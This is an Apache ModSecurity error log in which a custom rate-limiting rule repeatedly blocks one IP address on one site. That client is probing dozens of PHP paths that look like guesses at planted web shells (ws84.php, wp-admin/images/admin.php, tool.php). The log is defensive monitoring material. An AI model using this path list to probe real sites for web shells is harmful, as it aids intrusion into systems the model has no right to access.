[Mon Mar 23 20:57:47.409273 2026] [:error] [pid 38177:tid 38217] [client 20.215.241.7:49822] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/webadmin.php"] [unique_id "acE4y3sYW-_HCI66Muns9AAAAEI"]
[Mon Mar 23 20:57:47.983601 2026] [:error] [pid 38177:tid 38232] [client 20.215.241.7:6484] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc0252.php"] [unique_id "acE4y3sYW-_HCI66Muns9gAAAFE"]
[Mon Mar 23 20:57:48.623521 2026] [:error] [pid 38306:tid 38329] [client 20.215.241.7:43737] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc0252.php"] [unique_id "acE4zDkL8qwu-hHc6BiO6wAAARU"]
[Mon Mar 23 20:57:49.205151 2026] [:error] [pid 38306:tid 38323] [client 20.215.241.7:54647] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc0252.php"] [unique_id "acE4zTkL8qwu-hHc6BiO7AAAAQ8"]
[Mon Mar 23 20:57:49.772974 2026] [:error] [pid 38306:tid 38313] [client 20.215.241.7:6737] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xc0252.php"] [unique_id "acE4zTkL8qwu-hHc6BiO8AAAAQU"]
[Mon Mar 23 20:57:50.378380 2026] [:error] [pid 38176:tid 38195] [client 20.215.241.7:6148] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "acE4zktG4qlh1gvNjuIwbQAAAAg"]
[Mon Mar 23 20:57:51.026063 2026] [:error] [pid 38306:tid 38312] [client 20.215.241.7:6759] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "acE4zzkL8qwu-hHc6BiO8wAAAQQ"]
[Mon Mar 23 20:57:51.772806 2026] [:error] [pid 38306:tid 38316] [client 20.215.241.7:43761] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "acE4zzkL8qwu-hHc6BiO9wAAAQg"]
[Mon Mar 23 20:57:52.593167 2026] [:error] [pid 38176:tid 38196] [client 20.215.241.7:43720] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "acE40EtG4qlh1gvNjuIwcwAAAAk"]
[Mon Mar 23 20:57:53.159109 2026] [:error] [pid 38176:tid 38205] [client 20.215.241.7:6490] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acE40UtG4qlh1gvNjuIwdQAAABI"]
[Mon Mar 23 20:57:53.673783 2026] [:error] [pid 38176:tid 38189] [client 20.215.241.7:43768] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acE40UtG4qlh1gvNjuIweAAAAAI"]
[Mon Mar 23 20:57:54.252167 2026] [:error] [pid 38178:tid 38255] [client 20.215.241.7:6496] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acE40g0axWfXsVvR9uc71AAAAI0"]
[Mon Mar 23 20:57:54.939671 2026] [:error] [pid 38306:tid 38314] [client 20.215.241.7:6573] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acE40jkL8qwu-hHc6BiPAgAAAQY"]
[Mon Mar 23 20:57:55.504482 2026] [:error] [pid 38176:tid 38196] [client 20.215.241.7:7144] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mis.php"] [unique_id "acE400tG4qlh1gvNjuIwhAAAAAk"]
[Mon Mar 23 20:57:56.038512 2026] [:error] [pid 38176:tid 38205] [client 20.215.241.7:44769] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mis.php"] [unique_id "acE41EtG4qlh1gvNjuIwhgAAABI"]
[Mon Mar 23 20:57:56.603479 2026] [:error] [pid 38176:tid 38202] [client 20.215.241.7:6738] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mis.php"] [unique_id "acE41EtG4qlh1gvNjuIwiwAAAA8"]
[Mon Mar 23 20:57:57.168068 2026] [:error] [pid 38176:tid 38204] [client 20.215.241.7:54626] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mis.php"] [unique_id "acE41UtG4qlh1gvNjuIwjAAAABE"]
[Mon Mar 23 20:57:57.752299 2026] [:error] [pid 38276:tid 38295] [client 20.215.241.7:7155] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acE41ZoKGiI-a7oME3LvQQAAANA"]
[Mon Mar 23 20:57:58.313968 2026] [:error] [pid 38276:tid 38294] [client 20.215.241.7:6760] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acE41poKGiI-a7oME3LvRwAAAM8"]
[Mon Mar 23 20:57:58.842819 2026] [:error] [pid 38176:tid 38191] [client 20.215.241.7:7120] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acE41ktG4qlh1gvNjuIwjwAAAAQ"]
[Mon Mar 23 20:57:59.388944 2026] [:error] [pid 38276:tid 38291] [client 20.215.241.7:7158] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acE415oKGiI-a7oME3LvTAAAAMw"]
[Mon Mar 23 20:57:59.906964 2026] [:error] [pid 38176:tid 38210] [client 20.215.241.7:54602] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "acE410tG4qlh1gvNjuIwkgAAABc"]
[Mon Mar 23 20:58:00.430845 2026] [:error] [pid 38176:tid 38209] [client 20.215.241.7:43735] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "acE42EtG4qlh1gvNjuIwlQAAABY"]
[Mon Mar 23 20:58:00.971555 2026] [:error] [pid 38176:tid 38206] [client 20.215.241.7:6497] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "acE42EtG4qlh1gvNjuIwmgAAABM"]
[Mon Mar 23 20:58:01.683686 2026] [:error] [pid 38306:tid 38330] [client 20.215.241.7:7121] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "acE42TkL8qwu-hHc6BiPEAAAARY"]
[Mon Mar 23 20:58:02.202806 2026] [:error] [pid 38306:tid 38321] [client 20.215.241.7:6486] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acE42jkL8qwu-hHc6BiPEwAAAQ0"]
[Mon Mar 23 20:58:02.738488 2026] [:error] [pid 38306:tid 38313] [client 20.215.241.7:6493] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acE42jkL8qwu-hHc6BiPFQAAAQU"]
[Mon Mar 23 20:58:03.277077 2026] [:error] [pid 38177:tid 38224] [client 20.215.241.7:44771] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acE423sYW-_HCI66Muns_wAAAEk"]
[Mon Mar 23 20:58:04.135461 2026] [:error] [pid 38177:tid 38235] [client 20.215.241.7:6726] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acE43HsYW-_HCI66MuntAwAAAFQ"]
[Mon Mar 23 20:58:04.665392 2026] [:error] [pid 38178:tid 38251] [client 20.215.241.7:6773] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acE43A0axWfXsVvR9uc72wAAAIk"]
[Mon Mar 23 20:58:05.502827 2026] [:error] [pid 38306:tid 38324] [client 20.215.241.7:6517] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acE43TkL8qwu-hHc6BiPGwAAARA"]
[Mon Mar 23 20:58:06.029585 2026] [:error] [pid 38306:tid 38319] [client 20.215.241.7:44794] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acE43jkL8qwu-hHc6BiPHwAAAQs"]
[Mon Mar 23 20:58:06.607500 2026] [:error] [pid 38306:tid 38324] [client 20.215.241.7:6740] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/az.php"] [unique_id "acE43jkL8qwu-hHc6BiPJgAAARA"]
[Mon Mar 23 20:58:07.315670 2026] [:error] [pid 38178:tid 38256] [client 20.215.241.7:6189] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web.php"] [unique_id "acE43w0axWfXsVvR9uc73gAAAI4"]
[Mon Mar 23 20:58:07.854565 2026] [:error] [pid 38178:tid 38248] [client 20.215.241.7:6828] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web.php"] [unique_id "acE43w0axWfXsVvR9uc73wAAAIY"]
[Mon Mar 23 20:58:08.398925 2026] [:error] [pid 38176:tid 38211] [client 20.215.241.7:7026] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web.php"] [unique_id "acE44EtG4qlh1gvNjuIwpQAAABg"]
[Mon Mar 23 20:58:08.950127 2026] [:error] [pid 38276:tid 38302] [client 20.215.241.7:6977] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/web.php"] [unique_id "acE44JoKGiI-a7oME3LvTQAAANc"]
[Mon Mar 23 20:58:09.477340 2026] [:error] [pid 38306:tid 38322] [client 20.215.241.7:6766] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/admin.php"] [unique_id "acE44TkL8qwu-hHc6BiPOgAAAQ4"]
[Mon Mar 23 20:58:25.135514 2026] [:error] [pid 38306:tid 38327] [client 20.215.241.7:6468] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wqqs.php"] [unique_id "acE48TkL8qwu-hHc6BiPXAAAARM"]
[Mon Mar 23 20:58:25.701209 2026] [:error] [pid 38306:tid 38324] [client 20.215.241.7:6470] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wqqs.php"] [unique_id "acE48TkL8qwu-hHc6BiPYQAAARA"]
[Mon Mar 23 20:58:26.332979 2026] [:error] [pid 38306:tid 38310] [client 20.215.241.7:6182] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wqqs.php"] [unique_id "acE48jkL8qwu-hHc6BiPZQAAAQI"]
[Mon Mar 23 20:58:27.015996 2026] [:error] [pid 38306:tid 38309] [client 20.215.241.7:43775] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wqqs.php"] [unique_id "acE48zkL8qwu-hHc6BiPaAAAAQE"]
[Mon Mar 23 20:58:27.537308 2026] [:error] [pid 38276:tid 38290] [client 20.215.241.7:6520] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acE485oKGiI-a7oME3LvbwAAAMs"]
[Mon Mar 23 20:58:28.071650 2026] [:error] [pid 38177:tid 38234] [client 20.215.241.7:54608] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acE49HsYW-_HCI66MuntDAAAAFM"]
[Mon Mar 23 20:58:28.613586 2026] [:error] [pid 38176:tid 38208] [client 20.215.241.7:6170] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acE49EtG4qlh1gvNjuIwzgAAABU"]
[Mon Mar 23 20:58:29.234158 2026] [:error] [pid 38176:tid 38196] [client 20.215.241.7:6172] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "acE49UtG4qlh1gvNjuIwzwAAAAk"]
[Mon Mar 23 20:58:29.859570 2026] [:error] [pid 38176:tid 38194] [client 20.215.241.7:6978] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acE49UtG4qlh1gvNjuIw0QAAAAc"]
[Mon Mar 23 20:58:30.399898 2026] [:error] [pid 38306:tid 38330] [client 20.215.241.7:6864] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acE49jkL8qwu-hHc6BiPdQAAARY"]
[Mon Mar 23 20:58:30.967120 2026] [:error] [pid 38306:tid 38317] [client 20.215.241.7:6736] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acE49jkL8qwu-hHc6BiPeQAAAQk"]
[Mon Mar 23 20:58:31.809720 2026] [:error] [pid 38306:tid 38319] [client 20.215.241.7:6481] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "acE49zkL8qwu-hHc6BiPgAAAAQs"]
[Mon Mar 23 20:58:32.404291 2026] [:error] [pid 38177:tid 38221] [client 20.215.241.7:6521] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acE4-HsYW-_HCI66MuntFgAAAEY"]
[Mon Mar 23 20:58:33.041385 2026] [:error] [pid 38276:tid 38301] [client 20.215.241.7:44774] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acE4-ZoKGiI-a7oME3LvcwAAANY"]
[Mon Mar 23 20:58:33.600308 2026] [:error] [pid 38177:tid 38215] [client 20.215.241.7:7016] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acE4-XsYW-_HCI66MuntGwAAAEA"]
[Mon Mar 23 20:58:34.174947 2026] [:error] [pid 38276:tid 38293] [client 20.215.241.7:6742] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acE4-poKGiI-a7oME3LveAAAAM4"]
[Mon Mar 23 20:58:34.718461 2026] [:error] [pid 38178:tid 38266] [client 20.215.241.7:6762] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "acE4-g0axWfXsVvR9uc8AAAAAJg"]
[Mon Mar 23 20:58:35.406303 2026] [:error] [pid 38306:tid 38308] [client 20.215.241.7:6147] [client 20.215.241.7] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "acE4-zkL8qwu-hHc6BiPjAAAAQA"]
